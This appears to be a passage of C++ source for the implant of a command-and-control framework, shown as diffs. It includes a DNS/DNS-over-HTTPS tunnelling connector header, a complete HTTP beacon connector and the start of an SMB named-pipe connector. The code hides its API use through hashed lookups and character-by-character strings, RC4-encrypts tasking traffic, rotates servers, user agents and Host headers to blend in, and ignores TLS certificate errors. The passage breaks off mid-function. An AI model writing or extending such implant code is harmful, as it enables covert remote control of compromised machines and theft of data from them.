DECL_API(Sleep);
DECL_API(GetTickCount);
DECL_API(LoadLibraryA);
DECL_API(GetLastError);
};
struct DOHFUNC {
DECL_API(InternetOpenA);
DECL_API(InternetConnectA);
DECL_API(HttpOpenRequestA);
DECL_API(HttpSendRequestA);
DECL_API(InternetSetOptionA);
DECL_API(InternetQueryOptionA);
DECL_API(HttpQueryInfoA);
DECL_API(InternetQueryDataAvailable);
DECL_API(InternetCloseHandle);
DECL_API(InternetReadFile);
};
struct DohResolverInfo {
CHAR host[256];
CHAR path[128];
WORD port;
};
// DNS protocol metadata header
#pragma pack(push, 1)
typedef struct _DNS_META_V1 {
BYTE version;
BYTE metaFlags;
USHORT reserved;
ULONG downAckOffset;
} DNS_META_V1, * PDNS_META_V1;
#pragma pack(pop)
class ConnectorDNS : public Connector
{
public:
// Constants
static const ULONG kMaxUploadSize = 4 << 20; // 4 MB
static const ULONG kMaxDownloadSize = 4 << 20; // 4 MB
static const ULONG kDefaultPktSize = 1024;
static const ULONG kMaxPktSize = 64000;
static const ULONG kMaxSafeFrame = 60;
static const ULONG kDefaultLabelSize = 48;
static const ULONG kMaxLabelSize = 63;
static const ULONG kMetaSize = sizeof(DNS_META_V1);
static const ULONG kHeaderSize = kMetaSize + 8; // meta + total + offset
static const ULONG kFrameHeaderSize = 9; // flags:1 + nonce:4 + origLen:4
static const ULONG kAckDataSize = 12;
static const ULONG kReqDataSize = 8;
static const ULONG kDnsSignalBits = 0x1;
static const ULONG kMaxResolvers = 16;
static const ULONG kMaxFailCount = 2;
static const ULONG kQueryTimeout = 3; // seconds
static const ULONG kMaxRetries = 3;
private:
ProfileDNS profile = { 0 };
CHAR rawResolvers[512] = { 0 };
CHAR* resolverList[kMaxResolvers] = { 0 };
ULONG resolverCount = 0;
ULONG currentResolverIndex = 0;
ULONG resolverFailCount[kMaxResolvers] = { 0 };
ULONG resolverDisabledUntil[kMaxResolvers] = { 0 };
CHAR sid[17] = { 0 };
BYTE encryptKey[16] = { 0 };
ULONG pktSize = 0;
ULONG labelSize = 0;
CHAR domain[256] = { 0 };
CHAR qtype[8] = { 0 };
BOOL initialized = FALSE;
BOOL hiSent = FALSE;
BYTE* hiBeat = NULL;
ULONG hiBeatSize = 0;
ULONG hiRetries = kMaxRetries;
ULONG seq = 0;
ULONG idx = 0;
BYTE* recvData = NULL;
int recvSize = 0;
BYTE* downBuf = NULL;
ULONG downTotal = 0;
ULONG downFilled = 0;
ULONG downAckOffset = 0;
ULONG downTaskNonce = 0;
BOOL compressEnabled = TRUE;
ULONG lastDownTotal = 0;
ULONG lastUpTotal = 0;
BOOL lastQueryOk = FALSE;
ULONG sleepDelaySeconds = 0;
BOOL hasPendingTasks = FALSE;
BOOL forcePoll = FALSE;
ULONG consecutiveFailures = 0;
// Upload fragment tracking for reliability
static const ULONG kMaxTrackedOffsets = 256;
ULONG confirmedOffsets[kMaxTrackedOffsets] = { 0 };
ULONG confirmedCount = 0;
ULONG lastAckNextExpected = 0;
BOOL uploadNeedsReset = FALSE;
ULONG uploadStartTime = 0;
DNSFUNC* functions = NULL;
DOHFUNC* dohFunctions = NULL;
BOOL dohInitialized = FALSE;
HINTERNET hInternet = NULL;
DohResolverInfo dohResolverList[kMaxResolvers] = { 0 };
ULONG dohResolverCount = 0;
ULONG currentDohResolverIndex = 0;
ULONG dohResolverFailCount[kMaxResolvers] = { 0 };
ULONG dohResolverDisabledUntil[kMaxResolvers] = { 0 };
ULONG dnsMode = DNS_MODE_UDP;
// WSA and socket caching (optimization)
BOOL wsaInitialized = FALSE;
SOCKET cachedSocket = INVALID_SOCKET;
// Pre-allocated buffers for hot path (optimization)
BYTE* queryBuffer = NULL;
BYTE* respBuffer = NULL;
static const ULONG kQueryBufferSize = 4096;
static const ULONG kRespBufferSize = 4096;
BYTE* pendingUpload = NULL;
ULONG pendingUploadSize = 0;
ULONG uploadBackoffMs = 0;
ULONG nextUploadAttemptTick = 0;
ULONG nextForcePollTick = 0;
BOOL lastExchangeHadData = FALSE;
// Private helper methods
BOOL InitWSA();
void CleanupWSA();
SOCKET GetSocket();
void ReleaseSocket(SOCKET s, BOOL forceClose);
void MetaV1Init(DNS_META_V1* h);
ULONG BuildWireSeq(ULONG logicalSeq, ULONG signalBits);
BOOL QuerySingle(const CHAR* qname, const CHAR* resolverIP, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
void ParseResolvers(const CHAR* resolvers);
void BuildAckData(BYTE* ackData, ULONG ackOffset, ULONG nonce, ULONG taskNonce);
void SendHeartbeat();
void SendAck();
void HandleUpload(BYTE* data, ULONG data_size);
void HandleDownload();
BOOL ProcessDownloadChunk(BYTE* binBuf, int binLen);
void FinalizeDownload();
void ResetDownload();
// Upload reliability helpers
BOOL ParsePutAckResponse(BYTE* response, ULONG respLen, ULONG* outNextExpected, BOOL* outComplete, BOOL* outNeedsReset);
BOOL IsOffsetConfirmed(ULONG offset);
void MarkOffsetConfirmed(ULONG offset);
void ResetUploadState();
BOOL InitDoH();
void CleanupDoH();
void ParseDohResolvers(const CHAR* dohResolvers);
BOOL QueryDoH(const CHAR* qname, const DohResolverInfo* resolver, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
BOOL QueryDoHWithRotation(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
BOOL BuildDnsWireQuery(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outLen);
BOOL ParseDnsWireResponse(BYTE* response, ULONG respLen, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
void SendData(BYTE* data, ULONG data_size);
void UpdateResolvers(BYTE* resolvers);
void UpdateBurstConfig(ULONG enabled, ULONG sleepMs, ULONG jitterPct);
void GetBurstConfig(ULONG* enabled, ULONG* sleepMs, ULONG* jitterPct);
void UpdateSleepDelay(ULONG sleepSeconds);
void ResetTrafficTotals() { lastUpTotal = 0; lastDownTotal = 0; }
BOOL IsBusy() const;
void ForcePollOnce() { this->forcePoll = TRUE; }
BOOL IsForcePollPending() const { return this->forcePoll; }
BOOL WasLastQueryOk() const { return lastQueryOk; }
const BYTE* GetResolvers() const { return profile.resolvers; }
BOOL QueryWithRotation(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
BOOL QueryUdpWithRotation(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
public:
ConnectorDNS();
~ConnectorDNS();
BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) override;
void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override;
void Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput) override;
void CloseConnector() override;
BYTE* RecvData() override;
int RecvSize() override;
void RecvClear() override;
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+466
View File
@@ -0,0 +1,466 @@
#include "ConnectorHTTP.h"
#include "ApiLoader.h"
#include "ApiDefines.h"
#include "ProcLoader.h"
#include "Encoders.h"
#include "Crypt.h"
#include "utils.h"
BOOL _isdigest(char c)
{
return c >= '0' && c <= '9';
}
int _atoi(const char* str)
{
int result = 0;
int sign = 1;
int index = 0;
while (str[index] == ' ')
index++;
if (str[index] == '-' || str[index] == '+') {
sign = (str[index] == '-') ? -1 : 1;
index++;
}
while (_isdigest(str[index])) {
int digit = str[index] - '0';
if (result > (INT_MAX - digit) / 10)
return (sign == 1) ? INT_MAX : INT_MIN;
result = result * 10 + digit;
index++;
}
return result * sign;
}
void* ConnectorHTTP::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void ConnectorHTTP::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(ConnectorHTTP));
}
ConnectorHTTP::ConnectorHTTP()
{
this->functions = (HTTPFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(HTTPFUNC));
this->functions->LocalAlloc = ApiWin->LocalAlloc;
this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
this->functions->LocalFree = ApiWin->LocalFree;
this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
this->functions->GetLastError = ApiWin->GetLastError;
CHAR wininet_c[12];
wininet_c[0] = HdChrA('w');
wininet_c[1] = HdChrA('i');
wininet_c[2] = HdChrA('n');
wininet_c[3] = HdChrA('i');
wininet_c[4] = HdChrA('n');
wininet_c[5] = HdChrA('e');
wininet_c[6] = HdChrA('t');
wininet_c[7] = HdChrA('.');
wininet_c[8] = HdChrA('d');
wininet_c[9] = HdChrA('l');
wininet_c[10] = HdChrA('l');
wininet_c[11] = HdChrA(0);
HMODULE hWininetModule = this->functions->LoadLibraryA(wininet_c);
if (hWininetModule) {
this->functions->InternetOpenA = (decltype(InternetOpenA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETOPENA);
this->functions->InternetConnectA = (decltype(InternetConnectA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCONNECTA);
this->functions->HttpOpenRequestA = (decltype(HttpOpenRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPOPENREQUESTA);
this->functions->HttpSendRequestA = (decltype(HttpSendRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPSENDREQUESTA);
this->functions->InternetSetOptionA = (decltype(InternetSetOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETSETOPTIONA);
this->functions->InternetQueryOptionA = (decltype(InternetQueryOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYOPTIONA);
this->functions->HttpQueryInfoA = (decltype(HttpQueryInfoA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPQUERYINFOA);
this->functions->InternetQueryDataAvailable = (decltype(InternetQueryDataAvailable)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYDATAAVAILABLE);
this->functions->InternetCloseHandle = (decltype(InternetCloseHandle)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCLOSEHANDLE);
this->functions->InternetReadFile = (decltype(InternetReadFile)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETREADFILE);
}
}
BOOL ConnectorHTTP::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize)
{
ProfileHTTP profile = *(ProfileHTTP*)profilePtr;
LPSTR encBeat = b64_encode(beat, beatSize);
ULONG enc_beat_length = StrLenA(encBeat);
ULONG param_length = StrLenA((CHAR*)profile.parameter);
ULONG headers_length = StrLenA((CHAR*)profile.http_headers);
CHAR* HttpHeaders = (CHAR*)this->functions->LocalAlloc(LPTR, param_length + enc_beat_length + headers_length + 5);
memcpy(HttpHeaders, profile.http_headers, headers_length);
ULONG index = headers_length;
memcpy(HttpHeaders + index, profile.parameter, param_length);
index += param_length;
HttpHeaders[index++] = ':';
HttpHeaders[index++] = ' ';
memcpy(HttpHeaders + index, encBeat, enc_beat_length);
index += enc_beat_length;
HttpHeaders[index++] = '\r';
HttpHeaders[index++] = '\n';
HttpHeaders[index++] = 0;
memset(encBeat, 0, enc_beat_length);
this->functions->LocalFree(encBeat);
encBeat = NULL;
this->headers = HttpHeaders;
this->server_count = profile.servers_count;
this->server_address = (CHAR**)profile.servers;
this->server_ports = profile.ports;
this->ssl = profile.use_ssl;
this->http_method = (CHAR*)profile.http_method;
this->uri_count = profile.uri_count;
this->uris = (CHAR**) profile.uris;
this->ua_count = profile.ua_count;
this->user_agents = (CHAR**) profile.user_agents;
this->hh_count = profile.hh_count;
this->host_headers = (CHAR**) profile.host_headers;
this->rotation_mode = profile.rotation_mode;
this->ans_size = profile.ans_size;
this->ans_pre_size = profile.ans_pre_size;
this->proxy_type = profile.proxy_type;
this->proxy_username = (CHAR*)profile.proxy_username;
this->proxy_password = (CHAR*)profile.proxy_password;
if (this->proxy_type != PROXY_TYPE_NONE && profile.proxy_host != NULL) {
ULONG hostLen = StrLenA((CHAR*)profile.proxy_host);
WORD port = profile.proxy_port;
CHAR portStr[6];
int portIdx = 0;
if (port == 0) {
portStr[portIdx++] = '0';
}
else {
CHAR temp[6];
int tempIdx = 0;
while (port > 0) {
temp[tempIdx++] = '0' + (port % 10);
port /= 10;
}
for (int i = tempIdx - 1; i >= 0; i--) {
portStr[portIdx++] = temp[i];
}
}
portStr[portIdx] = 0;
ULONG prefixLen = 0;
if (this->proxy_type == PROXY_TYPE_HTTPS) {
prefixLen = 8;
}
this->proxy_url = (CHAR*)this->functions->LocalAlloc(LPTR, prefixLen + hostLen + 1 + portIdx + 1);
ULONG idx = 0;
if (this->proxy_type == PROXY_TYPE_HTTPS) {
this->proxy_url[idx++] = 'h';
this->proxy_url[idx++] = 't';
this->proxy_url[idx++] = 't';
this->proxy_url[idx++] = 'p';
this->proxy_url[idx++] = 's';
this->proxy_url[idx++] = ':';
this->proxy_url[idx++] = '/';
this->proxy_url[idx++] = '/';
}
memcpy(this->proxy_url + idx, profile.proxy_host, hostLen);
idx += hostLen;
this->proxy_url[idx++] = ':';
memcpy(this->proxy_url + idx, portStr, portIdx + 1);
}
return TRUE;
}
void ConnectorHTTP::SendData(BYTE* data, ULONG data_size)
{
this->recvSize = 0;
this->recvData = 0;
ULONG attempt = 0;
BOOL connected = FALSE;
BOOL result = FALSE;
DWORD context = 0;
// Close existing handles to force new UA per call
if (this->hConnect) {
this->functions->InternetCloseHandle(this->hConnect);
this->hConnect = NULL;
}
if (this->hInternet) {
this->functions->InternetCloseHandle(this->hInternet);
this->hInternet = NULL;
}
while (!connected && attempt < this->server_count) {
DWORD dwError = 0;
if (!this->hInternet) {
CHAR* currentUA = this->user_agents[this->ua_index];
if (this->proxy_url != NULL) {
this->hInternet = this->functions->InternetOpenA(currentUA, INTERNET_OPEN_TYPE_PROXY, this->proxy_url, NULL, 0);
}
else {
this->hInternet = this->functions->InternetOpenA(currentUA, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
}
}
if (this->hInternet) {
if (!this->hConnect)
this->hConnect = this->functions->InternetConnectA(this->hInternet, this->server_address[this->server_index], this->server_ports[this->server_index], NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)&context);
if (this->hConnect)
{
CHAR acceptTypes[] = { '*', '/', '*', 0 };
LPCSTR rgpszAcceptTypes[] = { acceptTypes, 0 };
DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | INTERNET_FLAG_NO_COOKIES;
if (this->ssl)
flags |= INTERNET_FLAG_SECURE;
CHAR* currentUri = this->uris[this->uri_index];
HINTERNET hRequest = this->functions->HttpOpenRequestA(this->hConnect, this->http_method, currentUri, 0, 0, rgpszAcceptTypes, flags, (DWORD_PTR)&context);
if (hRequest) {
if (this->ssl) {
DWORD dwFlags = 0;
DWORD dwBuffer = sizeof(DWORD);
result = this->functions->InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBuffer);
if (!result) {
dwFlags = 0;
}
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_WRONG_USAGE;
this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
}
if (this->proxy_type != PROXY_TYPE_NONE && this->proxy_username != NULL) {
this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_PROXY_USERNAME, this->proxy_username, StrLenA(this->proxy_username));
if (this->proxy_password != NULL) {
this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_PROXY_PASSWORD, this->proxy_password, StrLenA(this->proxy_password));
}
}
// Build request headers with optional Host header
CHAR* reqHeaders = this->headers;
CHAR* tmpHeaders = NULL;
if (this->hh_count > 0) {
CHAR* currentHH = this->host_headers[this->hh_index];
ULONG hhLen = StrLenA(currentHH);
ULONG baseLen = StrLenA(this->headers);
WORD currentPort = this->server_ports[this->server_index];
BOOL hasPort = FALSE;
for (ULONG i = 0; i < hhLen; i++) {
if (currentHH[i] == ':') {
hasPort = TRUE;
break;
}
}
BOOL needPort = FALSE;
CHAR portStr[6] = {0};
ULONG portLen = 0;
if (!hasPort) {
if ((this->ssl && currentPort != 443) || (!this->ssl && currentPort != 80)) {
needPort = TRUE;
WORD port = currentPort;
if (port == 0) {
portStr[portLen++] = '0';
} else {
CHAR temp[6];
int tempIdx = 0;
while (port > 0) {
temp[tempIdx++] = '0' + (port % 10);
port /= 10;
}
for (int i = tempIdx - 1; i >= 0; i--) {
portStr[portLen++] = temp[i];
}
}
portStr[portLen] = 0;
}
}
ULONG allocSize = 6 + hhLen + (needPort ? 1 + portLen : 0) + 2 + baseLen + 1;
tmpHeaders = (CHAR*)this->functions->LocalAlloc(LPTR, allocSize);
ULONG off = 0;
tmpHeaders[off++] = 'H'; tmpHeaders[off++] = 'o'; tmpHeaders[off++] = 's';
tmpHeaders[off++] = 't'; tmpHeaders[off++] = ':'; tmpHeaders[off++] = ' ';
memcpy(tmpHeaders + off, currentHH, hhLen); off += hhLen;
if (needPort) {
tmpHeaders[off++] = ':';
memcpy(tmpHeaders + off, portStr, portLen); off += portLen;
}
tmpHeaders[off++] = '\r'; tmpHeaders[off++] = '\n';
memcpy(tmpHeaders + off, this->headers, baseLen); off += baseLen;
tmpHeaders[off] = 0;
reqHeaders = tmpHeaders;
}
connected = this->functions->HttpSendRequestA(hRequest, reqHeaders, (DWORD)StrLenA(reqHeaders), (LPVOID)data, (DWORD)data_size);
if (tmpHeaders) {
memset(tmpHeaders, 0, StrLenA(tmpHeaders));
this->functions->LocalFree(tmpHeaders);
}
if (connected) {
char statusCode[255];
DWORD statusCodeLenght = 255;
BOOL result = this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, statusCode, &statusCodeLenght, 0);
if (result && _atoi(statusCode) == 200) {
DWORD answerSize = 0;
DWORD dwLengthDataSize = sizeof(DWORD);
result = this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &answerSize, &dwLengthDataSize, NULL);
if (result) {
DWORD dwNumberOfBytesAvailable = 0;
result = this->functions->InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0);
if (result && answerSize > 0) {
ULONG numberReadedBytes = 0;
DWORD readedBytes = 0;
BYTE* buffer = (BYTE*)this->functions->LocalAlloc(LPTR, answerSize);
while (numberReadedBytes < answerSize) {
result = this->functions->InternetReadFile(hRequest, buffer + numberReadedBytes, dwNumberOfBytesAvailable, &readedBytes);
if (!result || !readedBytes) {
break;
}
numberReadedBytes += readedBytes;
}
this->recvSize = numberReadedBytes;
this->recvData = buffer;
}
}
else if (this->functions->GetLastError() == ERROR_HTTP_HEADER_NOT_FOUND) {
ULONG numberReadedBytes = 0;
DWORD readedBytes = 0;
BYTE* buffer = (BYTE*)this->functions->LocalAlloc(LPTR, 0);
DWORD dwNumberOfBytesAvailable = 0;
while (1) {
result = this->functions->InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0);
if (!result || !dwNumberOfBytesAvailable)
break;
buffer = (BYTE*)this->functions->LocalReAlloc(buffer, dwNumberOfBytesAvailable + numberReadedBytes, LMEM_MOVEABLE);
result = this->functions->InternetReadFile(hRequest, buffer + numberReadedBytes, dwNumberOfBytesAvailable, &readedBytes);
if (!result || !readedBytes) {
break;
}
numberReadedBytes += readedBytes;
}
if (numberReadedBytes) {
this->recvSize = numberReadedBytes;
this->recvData = buffer;
}
else {
this->functions->LocalFree(buffer);
}
}
}
}
else {
dwError = this->functions->GetLastError();
}
this->functions->InternetCloseHandle(hRequest);
}
}
attempt++;
if (!connected) {
if (this->hConnect) {
this->functions->InternetCloseHandle(this->hConnect);
this->hConnect = NULL;
}
if (this->hInternet) {
this->functions->InternetCloseHandle(this->hInternet);
this->hInternet = NULL;
}
this->functions->InternetSetOptionA(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
this->functions->InternetSetOptionA(NULL, INTERNET_OPTION_REFRESH, NULL, 0);
this->server_index = (this->server_index + 1) % this->server_count;
}
// Rotate indices for next callback (active round-robin)
if (this->rotation_mode == 1) {
this->uri_index = GenerateRandom32() % this->uri_count;
this->ua_index = GenerateRandom32() % this->ua_count;
this->server_index = GenerateRandom32() % this->server_count;
if (this->hh_count > 0)
this->hh_index = GenerateRandom32() % this->hh_count;
}
else {
this->uri_index = (this->uri_index + 1) % this->uri_count;
this->ua_index = (this->ua_index + 1) % this->ua_count;
this->server_index = (this->server_index + 1) % this->server_count;
if (this->hh_count > 0)
this->hh_index = (this->hh_index + 1) % this->hh_count;
}
}
}
}
BYTE* ConnectorHTTP::RecvData()
{
if (this->recvData)
return this->recvData + this->ans_pre_size;
else
return NULL;
}
int ConnectorHTTP::RecvSize()
{
if (this->recvSize < this->ans_size)
return 0;
return this->recvSize - this->ans_size;
}
void ConnectorHTTP::RecvClear()
{
if (this->recvData && this->recvSize) {
memset(this->recvData, 0, this->recvSize);
this->functions->LocalFree(this->recvData);
this->recvData = NULL;
}
}
void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
{
if (plainData && plainSize > 0) {
EncryptRC4(plainData, plainSize, sessionKey, 16);
this->SendData(plainData, plainSize);
}
else {
this->SendData(NULL, 0);
}
if (this->recvSize > 0 && this->recvData) {
int dataSize = this->RecvSize();
BYTE* dataPtr = this->RecvData();
if (dataSize > 0 && dataPtr)
DecryptRC4(dataPtr, dataSize, sessionKey, 16);
}
}
void ConnectorHTTP::CloseConnector()
{
DWORD l = StrLenA(this->headers);
memset(this->headers, 0, l);
this->functions->LocalFree(this->headers);
this->headers = NULL;
this->functions->InternetCloseHandle(this->hInternet);
this->functions->InternetCloseHandle(this->hConnect);
}
+122
View File
@@ -0,0 +1,122 @@
#pragma once
#include <windows.h>
#include <wininet.h>
#include "Connector.h"
#ifndef PROFILE_STRUCT
#define PROFILE_STRUCT
#define PROXY_TYPE_NONE 0
#define PROXY_TYPE_HTTP 1
#define PROXY_TYPE_HTTPS 2
typedef struct {
ULONG servers_count;
BYTE** servers;
WORD* ports;
BOOL use_ssl;
BYTE* http_method;
ULONG uri_count;
BYTE** uris;
BYTE* parameter;
ULONG ua_count;
BYTE** user_agents;
BYTE* http_headers;
ULONG ans_pre_size;
ULONG ans_size;
ULONG hh_count;
BYTE** host_headers;
BYTE rotation_mode; // 0=sequential, 1=random
BYTE proxy_type; // 0=none, 1=http, 2=https
BYTE* proxy_host;
WORD proxy_port;
BYTE* proxy_username;
BYTE* proxy_password;
} ProfileHTTP;
typedef struct {
BYTE* pipename;
} ProfileSMB;
typedef struct {
BYTE* prepend;
WORD port;
} ProfileTCP;
#endif
#define DECL_API(x) decltype(x) * x
struct HTTPFUNC {
DECL_API(LocalAlloc);
DECL_API(LocalReAlloc);
DECL_API(LocalFree);
DECL_API(LoadLibraryA);
DECL_API(GetProcAddress);
DECL_API(GetLastError);
DECL_API(InternetOpenA);
DECL_API(InternetConnectA);
DECL_API(HttpOpenRequestA);
DECL_API(HttpSendRequestA);
DECL_API(InternetSetOptionA);
DECL_API(InternetQueryOptionA);
DECL_API(HttpQueryInfoA);
DECL_API(InternetQueryDataAvailable);
DECL_API(InternetCloseHandle);
DECL_API(InternetReadFile);
};
class ConnectorHTTP : public Connector
{
ULONG ua_count = 0;
CHAR** user_agents = NULL;
ULONG ua_index = 0;
ULONG hh_count = 0;
CHAR** host_headers = NULL;
ULONG hh_index = 0;
BOOL ssl = FALSE;
CHAR* http_method = NULL;
ULONG server_count = 0;
CHAR** server_address = NULL;
WORD* server_ports = 0;
ULONG uri_count = 0;
CHAR** uris = NULL;
ULONG uri_index = 0;
CHAR* headers = NULL;
ULONG ans_size = 0;
ULONG ans_pre_size = 0;
BYTE rotation_mode = 0;
BYTE* recvData = NULL;
int recvSize = 0;
BYTE proxy_type = PROXY_TYPE_NONE;
CHAR* proxy_url = NULL;
CHAR* proxy_username = NULL;
CHAR* proxy_password = NULL;
HTTPFUNC* functions = NULL;
HINTERNET hInternet = NULL;
HINTERNET hConnect = NULL;
ULONG server_index = 0;
public:
ConnectorHTTP();
BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) override;
void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override;
void CloseConnector() override;
BYTE* RecvData() override;
int RecvSize() override;
void RecvClear() override;
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
private:
void SendData(BYTE* data, ULONG data_size);
};
+240
View File
@@ -0,0 +1,240 @@
#include "ConnectorSMB.h"
#include "ApiLoader.h"
#include "ApiDefines.h"
#include "ProcLoader.h"
#include "Crypt.h"
#include "utils.h"
void* ConnectorSMB::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void ConnectorSMB::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(ConnectorSMB));
}
ConnectorSMB::ConnectorSMB()
{
this->functions = (SMBFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(SMBFUNC));
this->functions->LocalAlloc = ApiWin->LocalAlloc;
this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
this->functions->LocalFree = ApiWin->LocalFree;
this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
this->functions->GetLastError = ApiWin->GetLastError;
this->functions->ReadFile = ApiWin->ReadFile;
this->functions->WriteFile = ApiWin->WriteFile;
this->functions->NtClose = ApiNt->NtClose;
this->functions->CreateNamedPipeA = ApiWin->CreateNamedPipeA;
this->functions->DisconnectNamedPipe = ApiWin->DisconnectNamedPipe;
this->functions->PeekNamedPipe = ApiWin->PeekNamedPipe;
this->functions->ConnectNamedPipe = (decltype(ConnectNamedPipe)*) GetSymbolAddress(SysModules->Kernel32, HASH_FUNC_CONNECTNAMEDPIPE);
this->functions->FlushFileBuffers = (decltype(FlushFileBuffers)*) GetSymbolAddress(SysModules->Kernel32, HASH_FUNC_FLUSHFILEBUFFERS);
this->functions->AllocateAndInitializeSid = (decltype(AllocateAndInitializeSid)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_ALLOCATEANDINITIALIZESID);
this->functions->InitializeSecurityDescriptor = (decltype(InitializeSecurityDescriptor)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_INITIALIZESECURITYDESCRIPTOR);
this->functions->FreeSid = (decltype(FreeSid)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_FREESID);
this->functions->SetEntriesInAclA = (decltype(SetEntriesInAclA)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_SETENTRIESINACLA);
this->functions->SetSecurityDescriptorDacl = (decltype(SetSecurityDescriptorDacl)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_SETSECURITYDESCRIPTORDACL);
}
BOOL ConnectorSMB::SetProfile(void* profilePtr, BYTE* beatData, ULONG beatDataSize)
{
ProfileSMB profile = *(ProfileSMB*)profilePtr;
if (beatData && beatDataSize) {
this->beat = (BYTE*)MemAllocLocal(beatDataSize);
if (this->beat) {
memcpy(this->beat, beatData, beatDataSize);
this->beatSize = beatDataSize;
}
}
PSID pEveryoneSID = nullptr;
SID_IDENTIFIER_AUTHORITY pIdentifierAuthority;
*(DWORD*)pIdentifierAuthority.Value = 0;
*(WORD*)&pIdentifierAuthority.Value[4] = 256;
if (!this->functions->AllocateAndInitializeSid(&pIdentifierAuthority, 1, 0, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID))
return FALSE;
PACL pACL = nullptr;
EXPLICIT_ACCESS pListOfExplicitEntries = { 0 };
pListOfExplicitEntries.grfAccessPermissions = GENERIC_READ | GENERIC_WRITE; // STANDARD_RIGHTS_ALL | SPECIFIC_RIGHTS_ALL; //
pListOfExplicitEntries.grfAccessMode = SET_ACCESS;
pListOfExplicitEntries.Trustee.TrusteeForm = TRUSTEE_IS_SID;
pListOfExplicitEntries.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
pListOfExplicitEntries.Trustee.ptstrName = (LPTSTR)pEveryoneSID;
if (this->functions->SetEntriesInAclA(1, &pListOfExplicitEntries, nullptr, &pACL) != ERROR_SUCCESS)
return FALSE;
PSECURITY_DESCRIPTOR pSD = this->functions->LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
if (!pSD || !this->functions->InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION) || !this->functions->SetSecurityDescriptorDacl(pSD, TRUE, pACL, FALSE))
return FALSE;
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), pSD, FALSE };
this->hChannel = this->functions->CreateNamedPipeA((CHAR*) profile.pipename, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, 0x100000, 0x100000, 0, &sa);
if (this->hChannel == INVALID_HANDLE_VALUE)
return FALSE;
this->functions->FreeSid(pEveryoneSID);
this->functions->LocalFree(pACL);
this->functions->LocalFree(pSD);
return TRUE;
}
void ConnectorSMB::SendData(BYTE* data, ULONG data_size)
{
this->recvSize = 0;
if (data && data_size) {
DWORD NumberOfBytesWritten = 0;
if ( this->functions->WriteFile(this->hChannel, (LPVOID)&data_size, 4, &NumberOfBytesWritten, NULL) ) {
DWORD index = 0;
DWORD size = 0;
